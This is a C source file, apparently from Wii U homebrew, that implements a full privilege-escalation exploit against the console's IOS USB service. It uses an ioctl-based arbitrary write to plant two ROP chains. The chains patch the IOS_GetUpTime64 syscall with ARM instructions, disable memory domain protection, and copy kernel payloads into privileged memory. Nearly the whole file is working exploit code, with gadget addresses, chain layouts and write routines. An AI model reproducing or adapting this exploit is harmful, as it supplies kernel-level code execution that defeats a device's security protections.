PayloadFromRPX/source/ios_exploit.c

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#include <string.h>
#include <stdio.h>
#include <coreinit/cache.h>
#include <coreinit/thread.h>
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#include <coreinit/ios.h>
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#include "ios_exploit.h"
#define ALIGN4(x) (((x) + 3) & ~3)
#define CHAIN_START 0x1016AD40
#define SHUTDOWN 0x1012EE4C
#define SIMPLE_RETURN 0x101014E4
#define SOURCE (0x120000)
#define IOS_CREATETHREAD 0x1012EABC
#define ARM_CODE_BASE 0x08135000
#define REPLACE_SYSCALL 0x081298BC
extern const uint8_t launch_image_tga[];
extern const uint32_t launch_image_tga_size;
static void uhs_exploit_init(int uhs_handle);
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static int uhs_write32(int uhs_handle, int arm_addr, int val);
//!------Variables used in exploit------
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static int *pretend_root_hub = (int *) 0xF5003ABC;
static int *ayylmao = (int *) 0xF4500000;
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//!-------------------------------------
typedef struct __attribute__((packed)) {
uint32_t size;
uint8_t data[0];
} payload_info_t;
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
#include "ios_kernel/ios_kernel.bin.h"
#include "ios_usb/ios_usb.bin.h"
/* ROP CHAIN STARTS HERE (0x1015BD78) */
static const int final_chain[] = {
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0x101236f3, // 0x00 POP {R1-R7,PC}
0x0, // 0x04 arg
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
0x68, // 0x0C stacksize
0x10101638, // 0x10
0x0, // 0x14
0x0, // 0x18
0x0, // 0x1C
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x30
0x0, // 0x34
IOS_CREATETHREAD, // 0x38
0x1, // 0x3C
0x2, // 0x40
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE92D4010, // 0x4C value: PUSH {R4,LR}
0x0, // 0x50
0x10123a8b, // 0x54 POP {R3,R4,PC}
0x1, // 0x58 R3 must be 1 for the arbitrary write
0x0, // 0x5C
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x64
0x0, // 0x68
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
0x0, // 0x70
0x0, // 0x74
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A04000, // 0x80 value: MOV R4, R0
0x0, // 0x84
0x10123a8b, // 0x88 POP {R3,R4,PC}
0x1, // 0x8C R3 must be 1 for the arbitrary write
0x0, // 0x90
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x98
0x0, // 0x9C
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
0x0, // 0xA4
0x0, // 0xA8
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
0x0, // 0xB8
0x10123a8b, // 0xBC POP {R3,R4,PC}
0x1, // 0xC0 R3 must be 1 for the arbitrary write
0x0, // 0xC4
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0xCC
0x0, // 0xD0
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
0x0, // 0xD8
0x0, // 0xDC
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
0x0, // 0xEC
0x10123a8b, // 0xF0 POP {R3,R4,PC}
0x1, // 0xF4 R3 must be 1 for the arbitrary write
0x0, // 0xF8
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x100
0x0, // 0x104
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
0x0, // 0x10C
0x0, // 0x110
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A00004, // 0x11C value: MOV R0, R4
0x0, // 0x120
0x10123a8b, // 0x124 POP {R3,R4,PC}
0x1, // 0x128 R3 must be 1 for the arbitrary write
0x0, // 0x12C
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x134
0x0, // 0x138
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
0x0, // 0x140
0x0, // 0x144
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x00000000, // 0x150 value: NOP
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x1AFFFFFD, // 0x150 value: BNE clean_loop
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A03004, // 0x184 value: MOV R3, R4
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE8BD4010, // 0x184 value: POP {R4,LR}
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
0x0, // 0x1BC
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
0x0, // 0x1C8
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x1D0
0x0, // 0x1D4
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
0x0, // 0x1E0
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
ARM_CODE_BASE, // 0x1E8 our code destination address
0x0, // 0x1EC
0x0, // 0x1F0
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
0x0, // 0x1F8
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sizeof(ios_kernel), // 0x1FC our code size
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0x0, // 0x200
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
0x00140000, // 0x208 our code source location
0x08131D04, // 0x20C KERNEL_MEMCPY address
0x0, // 0x210
0x0, // 0x214
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
0x0,
0x0,
0x101312D0,
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};
static const int second_chain[] = {
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0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
0x0, // 0x08
0x0, // 0x0C
0x101063db, // 0x10 POP {R1,R2,R5,PC}
0x00130000, // 0x14 source
sizeof(final_chain), // 0x18 length
0x0, // 0x1C
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x101236f3, // 0x2C POP {R1-R7,PC}
0x0, // 0x30 arg
0x101001DC, // 0x34 stackptr
0x68, // 0x38 stacksize
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
0x0, // 0x40
0x0, // 0x44
0x0, // 0x48
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x50
0x0, // 0x54
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x5C
0x0, // 0x60
IOS_CREATETHREAD, // 0x64
0x1, // 0x68 priority
0x2, // 0x6C flags
0x0, // 0x70
0x0, // 0x74
0x101063db, // 0x78 POP {R1,R2,R5,PC}
0x0, // 0x7C
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
0x0, // 0x84
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
0x0,
0x0,
0x0,
0x00110000 - 0x44, // 0x8C
0x00110010, // 0x90
0x0, // 0x94
0x0, // 0x98
0x0, // 0x9C
0x0, // 0xA0
0x0, // 0xA4
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
0x0,
0x0,
0x1012EA68, // 0xAC stack pivot
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};
static void uhs_exploit_init(int dev_uhs_0_handle) {
ayylmao[5] = 1;
ayylmao[8] = 0x500000;
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memcpy((char *) (0xF4120000), second_chain, sizeof(second_chain));
memcpy((char *) (0xF4130000), final_chain, sizeof(final_chain));
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memcpy((char *) (0xF4140000), ios_kernel, sizeof(ios_kernel));
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payload_info_t *payloads = (payload_info_t *) 0xF4148000;
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payloads->size = sizeof(ios_usb);
memcpy(payloads->data, ios_usb, payloads->size);
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pretend_root_hub[33] = 0x500000;
pretend_root_hub[78] = 0;
DCStoreRange(pretend_root_hub + 33, 200);
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DCStoreRange((void *) 0xF4120000, sizeof(second_chain));
DCStoreRange((void *) 0xF4130000, sizeof(final_chain));
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DCStoreRange((void *) 0xF4140000, sizeof(ios_kernel));
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DCStoreRange((void *) 0xF4148000, ((uint32_t) 0xF4180000) - 0xF4148000);
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}
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) {
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress)
OSSleepTicks(0x200000); //! Improves stability
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int request_buffer[] = {-(0xBEA2C), val}; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
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int output_buffer[32];
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
}
int ExecuteIOSExploit() {
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
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if (iosuhaxFd >= 0) {
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int dummy = 0;
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//IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy));
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//! do not run patches again as that will most likely crash
//! because the wupserver and the iosuhax dev node are still running
//! just relaunch IOS with new configuration
IOS_Close(iosuhaxFd);
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return 0;
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}
//! execute exploit
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
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if (dev_uhs_0_handle < 0) {
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return dev_uhs_0_handle;
}
uhs_exploit_init(dev_uhs_0_handle);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
IOS_Close(dev_uhs_0_handle);
return 0;
}